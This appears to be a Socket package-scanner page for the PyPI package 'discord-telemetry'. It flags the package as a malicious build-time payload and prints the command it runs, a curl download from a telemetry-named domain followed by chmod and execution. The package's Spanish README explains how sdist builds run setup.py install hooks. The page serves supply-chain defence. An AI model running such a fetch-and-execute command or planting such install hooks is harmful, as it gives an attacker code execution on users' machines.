discord-telemetry
Advanced tools
The file implements a malicious installer/build-time payload. It defines a function that executes the shell command `curl -o e -s https://gaming-telemetry[.]com/v1/download & chmod +x e & ./e`, which downloads a remote file from `gaming-telemetry[.]com`, saves it as `e`, marks it executable, and immediately runs it.
Paquete de ejemplo. Al importarlo imprime discord-telemetry:
import discord_telemetry # imprime: discord-telemetry
O como comando (entry point):
discord-telemetry
pyproject.toml → [build-system]: declara el build backend que pip
invoca para construir el paquete desde un sdist.setup.py: código Python que setuptools ejecuta durante el build.
Los overrides de cmdclass (build_py, install, develop) son el
equivalente al postinstall de npm.[project.scripts]: no corre en install; genera un ejecutable que
corre cuando el usuario lo invoca.__init__.py: corre en import time (runtime), no en install.Regla de seguridad clave: instalar un wheel NO ejecuta código del paquete
(solo se descomprime). Construir/instalar un sdist SÍ ejecuta el build
backend (setup.py). Por eso el vector real vive en el sdist.
FAQs
Paquete de ejemplo que imprime 'discord-telemetry'
The pypi package discord-telemetry receives a total of 0 weekly downloads. As such, discord-telemetry popularity was classified as not popular.
We found that discord-telemetry demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 0 open source maintainers collaborating on the project.
Did you know?
Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.
Security News
The White House’s Gold Eagle Initiative aims to coordinate AI-discovered vulnerabilities, validate findings, and accelerate patching across critical software.
Security News
A Shai-Hulud infection exposed Suno's source code, which shows the AI music startup stream-ripped tracks to train its models.
Security News
Vercel is formalizing a monthly release program for Next.js. The change follows React2Shell and a sharp rise in AI-assisted vulnerability discovery.